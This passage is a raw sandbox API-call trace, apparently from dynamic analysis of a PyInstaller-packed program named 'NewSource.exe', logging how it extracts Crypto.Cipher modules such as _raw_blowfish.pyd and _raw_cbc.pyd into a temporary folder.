(hObject=0x10c) returned 1 [0034.382] GetLastError () returned 0x0 [0034.382] SetLastError (dwErrCode=0x0) [0034.382] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher") returned 59 [0034.382] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.382] GetFileType (hFile=0x10c) returned 0x1 [0034.382] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.382] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.383] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.383] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.383] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.383] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.383] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.383] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.383] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.383] CloseHandle (hObject=0x10c) returned 1 [0034.383] GetLastError () returned 0x0 [0034.383] SetLastError (dwErrCode=0x0) [0034.383] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_blowfish.pyd") returned 77 [0034.383] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_blowfish.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_blowfish.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.383] GetLastError () returned 0x2 [0034.383] SetLastError (dwErrCode=0x2) [0034.383] GetLastError () returned 0x2 [0034.383] SetLastError (dwErrCode=0x2) [0034.383] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_blowfish.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_blowfish.pyd", lpFilePart=0x0) returned 0x4c [0034.383] GetLastError () returned 0x2 [0034.383] SetLastError (dwErrCode=0x2) [0034.383] GetLastError () returned 0x2 [0034.383] SetLastError (dwErrCode=0x2) [0034.383] GetLastError () returned 0x2 [0034.383] SetLastError (dwErrCode=0x2) [0034.383] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_blowfish.pyd") returned 77 [0034.384] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.384] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_blowfish.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_blowfish.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.384] GetFileType (hFile=0x10c) returned 0x1 [0034.384] htonl (hostlong=0x300000) returned 0x3000 [0034.384] WriteFile (in: hFile=0x10c, lpBuffer=0x562170*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562170*, lpNumberOfBytesWritten=0x4fcd00*=0x3000, lpOverlapped=0x0) returned 1 [0034.398] CloseHandle (hObject=0x10c) returned 1 [0034.399] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562170 | out: hHeap=0x530000) returned 1 [0034.399] htonl (hostlong=0x40000000) returned 0x40 [0034.399] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.399] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.399] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.399] GetFileType (hFile=0x10c) returned 0x1 [0034.399] htonl (hostlong=0xd1f70000) returned 0xf7d1 [0034.399] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5a7d1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.399] htonl (hostlong=0x3e360000) returned 0x363e [0034.399] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x363e) returned 0x560088 [0034.399] htonl (hostlong=0x3e360000) returned 0x363e [0034.399] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x3000, lpOverlapped=0x0) returned 1 [0034.400] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.400] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.400] htonl (hostlong=0x4a0000) returned 0x4a00 [0034.400] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4a00) returned 0x5636d0 [0034.400] htonl (hostlong=0x3e360000) returned 0x363e [0034.400] htonl (hostlong=0x4a0000) returned 0x4a00 [0034.400] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5680d8 [0034.400] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5680d8 | out: hHeap=0x530000) returned 1 [0034.400] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0034.400] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.400] CloseHandle (hObject=0x10c) returned 1 [0034.400] GetLastError () returned 0x0 [0034.400] SetLastError (dwErrCode=0x0) [0034.400] GetLastError () returned 0x0 [0034.400] SetLastError (dwErrCode=0x0) [0034.400] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.400] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.400] GetFileType (hFile=0x10c) returned 0x1 [0034.400] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.400] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.400] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.401] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.401] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.401] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.401] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.401] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.401] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.401] CloseHandle (hObject=0x10c) returned 1 [0034.401] GetLastError () returned 0x0 [0034.401] SetLastError (dwErrCode=0x0) [0034.401] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher") returned 59 [0034.401] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.401] GetFileType (hFile=0x10c) returned 0x1 [0034.401] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.401] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.401] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.401] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.401] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.401] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.401] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.401] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.402] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.402] CloseHandle (hObject=0x10c) returned 1 [0034.402] GetLastError () returned 0x0 [0034.402] SetLastError (dwErrCode=0x0) [0034.402] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_cast.pyd") returned 73 [0034.402] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_cast.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_cast.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.402] GetLastError () returned 0x2 [0034.402] SetLastError (dwErrCode=0x2) [0034.402] GetLastError () returned 0x2 [0034.402] SetLastError (dwErrCode=0x2) [0034.402] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_cast.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_cast.pyd", lpFilePart=0x0) returned 0x48 [0034.402] GetLastError () returned 0x2 [0034.402] SetLastError (dwErrCode=0x2) [0034.402] GetLastError () returned 0x2 [0034.402] SetLastError (dwErrCode=0x2) [0034.402] GetLastError () returned 0x2 [0034.402] SetLastError (dwErrCode=0x2) [0034.402] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_cast.pyd") returned 73 [0034.402] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.402] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_cast.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_cast.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.403] GetFileType (hFile=0x10c) returned 0x1 [0034.403] htonl (hostlong=0x4a0000) returned 0x4a00 [0034.403] WriteFile (in: hFile=0x10c, lpBuffer=0x5636d0*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x5636d0*, lpNumberOfBytesWritten=0x4fcd00*=0x4000, lpOverlapped=0x0) returned 1 [0034.404] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.404] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xa00, lpOverlapped=0x0) returned 1 [0034.404] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.404] CloseHandle (hObject=0x10c) returned 1 [0034.405] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5636d0 | out: hHeap=0x530000) returned 1 [0034.405] htonl (hostlong=0x30000000) returned 0x30 [0034.405] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0034.405] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0034.405] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.405] GetFileType (hFile=0x10c) returned 0x1 [0034.406] htonl (hostlong=0xf2e0100) returned 0x12e0f [0034.406] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5de0f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0034.406] htonl (hostlong=0xb70c0000) returned 0xcb7 [0034.406] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xcb7) returned 0x55d270 [0034.406] htonl (hostlong=0xb70c0000) returned 0xcb7 [0034.406] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55df30 [0034.406] ReadFile (in: hFile=0x10c, lpBuffer=0x55df30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55df30*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0034.406] htonl (hostlong=0x1a0000) returned 0x1a00 [0034.406] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a00) returned 0x560088 [0034.406] htonl (hostlong=0xb70c0000) returned 0xcb7 [0034.406] htonl (hostlong=0x1a0000) returned 0x1a00 [0034.406] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561a90 [0034.406] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561a90 | out: hHeap=0x530000) returned 1 [0034.406] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0034.406] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55df30 | out: hHeap=0x530000) returned 1 [0034.406] CloseHandle (hObject=0x10c) returned 1 [0034.406] GetLastError () returned 0x0 [0034.406] SetLastError (dwErrCode=0x0) [0034.406] GetLastError () returned 0x0 [0034.406] SetLastError (dwErrCode=0x0) [0034.406] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto") returned 52 [0034.406] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.407] GetFileType (hFile=0x10c) returned 0x1 [0034.407] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.407] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.407] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.407] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.407] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.407] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.407] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.407] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.407] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.407] CloseHandle (hObject=0x10c) returned 1 [0034.407] GetLastError () returned 0x0 [0034.407] SetLastError (dwErrCode=0x0) [0034.407] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher") returned 59 [0034.407] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0034.407] GetFileType (hFile=0x10c) returned 0x1 [0034.407] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0034.407] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0034.407] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0034.407] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0034.407] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.407] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.408] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0034.408] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0034.408] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0034.408] CloseHandle (hObject=0x10c) returned 1 [0034.408] GetLastError () returned 0x0 [0034.408] SetLastError (dwErrCode=0x0) [0034.408] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_cbc.pyd") returned 72 [0034.408] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_cbc.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_cbc.pyd"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0034.408] GetLastError () returned 0x2 [0034.408] SetLastError (dwErrCode=0x2) [0034.408] GetLastError () returned 0x2 [0034.408] SetLastError (dwErrCode=0x2) [0034.408] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_cbc.pyd", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_cbc.pyd", lpFilePart=0x0) returned 0x47 [0034.408] GetLastError () returned 0x2 [0034.408] SetLastError (dwErrCode=0x2) [0034.408] GetLastError () returned 0x2 [0034.408] SetLastError (dwErrCode=0x2) [0034.408] GetLastError () returned 0x2 [0034.408] SetLastError (dwErrCode=0x2) [0034.408] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_cbc.pyd") returned 72 [0034.408] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0034.409] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\Crypto\\Cipher\\_raw_cbc.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\crypto\\cipher\\_raw_cbc.pyd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0034.409] GetFileType (hFile=0x10c) returned 0x1 [0034.409] htonl (hostlong=0x1a0000) returned 0x1a00 [0034.409] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0034.410] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0034.410] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xa00, lpOverlapped=0x0) returned 1 [0034.410] HeapFree (in: 